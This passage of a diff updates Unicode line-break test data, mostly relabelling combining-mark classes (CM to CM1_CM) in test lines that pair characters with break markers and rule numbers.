+× 200D × 0308 × 200D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 200D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 200D × 00A7 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 200D × 0020 ÷ 00A7 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 200D × 0308 × 00A7 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 200D × 50005 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 200D × 0020 ÷ 50005 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 200D × 0308 × 50005 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 50005 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 200D × 0E01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 200D × 0020 ÷ 0E01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 200D × 0308 × 0E01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 200D × 3041 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200D × 0020 ÷ 3041 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200D × 0308 × 3041 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 3041 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 00A7 × 0023 ÷ # × [0.3] SECTION SIGN (AI_AL) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
× 00A7 × 0020 ÷ 0023 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 00A7 × 0308 × 0023 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 00A7 × 0308 × 0023 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 00A7 ÷ 2014 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 00A7 × 0020 ÷ 2014 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 00A7 × 0308 ÷ 2014 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 00A7 × 0308 ÷ 2014 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 00A7 × 0009 ÷ # × [0.3] SECTION SIGN (AI_AL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 00A7 × 0020 ÷ 0009 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 00A7 × 0308 × 0009 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 00A7 × 0308 × 0009 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 00A7 ÷ 00B4 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 00A7 × 0020 ÷ 00B4 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 00A7 × 0308 ÷ 00B4 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 00A7 × 0308 ÷ 00B4 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 00A7 × 000B ÷ # × [0.3] SECTION SIGN (AI_AL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 00A7 × 0020 × 000B ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 00A7 × 0308 × 000B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 000B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 00A7 × 0308 × 000B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 000B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 00A7 ÷ FFFC ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 00A7 × 0020 ÷ FFFC ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 00A7 × 0308 ÷ FFFC ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 00A7 × 0308 ÷ FFFC ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 00A7 × 007D ÷ # × [0.3] SECTION SIGN (AI_AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 00A7 × 0020 × 007D ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 00A7 × 0308 × 007D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 007D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 00A7 × 0308 × 007D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 007D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 00A7 × 0029 ÷ # × [0.3] SECTION SIGN (AI_AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 00A7 × 0020 × 0029 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00A7 × 0308 × 0029 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 0029 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00A7 × 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00A7 × 0020 ÷ 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00A7 × 0308 × 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 00A7 × 0308 × 0029 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 0029 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 00A7 × 000D ÷ # × [0.3] SECTION SIGN (AI_AL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 00A7 × 0020 × 000D ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 00A7 × 0308 × 000D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 000D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 00A7 × 0308 × 000D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 000D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 00A7 × 0021 ÷ # × [0.3] SECTION SIGN (AI_AL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 00A7 × 0020 × 0021 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 00A7 × 0308 × 0021 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 0021 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 00A7 × 0308 × 0021 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 0021 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 00A7 × 00A0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 00A7 × 0020 ÷ 00A0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 00A7 × 0308 × 00A0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 00A7 × 0308 × 00A0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 00A7 ÷ AC00 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 00A7 × 0020 ÷ AC00 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 00A7 × 0308 ÷ AC00 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 00A7 × 0308 ÷ AC00 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 00A7 ÷ AC01 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 00A7 × 0020 ÷ AC01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 00A7 × 0308 ÷ AC01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 00A7 × 0308 ÷ AC01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 00A7 × 05D0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 00A7 × 0020 ÷ 05D0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 00A7 × 0308 × 05D0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 00A7 × 0308 × 05D0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 00A7 × 002D ÷ # × [0.3] SECTION SIGN (AI_AL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 00A7 × 0020 ÷ 002D ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 00A7 × 0308 × 002D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 002D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 00A7 × 0308 × 002D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 002D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 00A7 ÷ 231A ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 00A7 × 0020 ÷ 231A ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 00A7 × 0308 ÷ 231A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 231A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 00A7 × 0308 ÷ 231A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 231A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 00A7 × 2024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
× 00A7 × 0020 ÷ 2024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 00A7 × 0308 × 2024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 00A7 × 0308 × 2024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 00A7 × 002C ÷ # × [0.3] SECTION SIGN (AI_AL) × [13.02] COMMA (IS) ÷ [0.3]
× 00A7 × 0020 × 002C ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 00A7 × 0308 × 002C ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 002C ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 00A7 × 0308 × 002C ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 002C ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 00A7 ÷ 1100 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 00A7 × 0020 ÷ 1100 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 00A7 × 0308 ÷ 1100 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 00A7 × 0308 ÷ 1100 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 00A7 ÷ 11A8 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 00A7 × 0020 ÷ 11A8 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 00A7 × 0308 ÷ 11A8 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 00A7 × 0308 ÷ 11A8 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 00A7 ÷ 1160 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 00A7 × 0020 ÷ 1160 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 00A7 × 0308 ÷ 1160 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
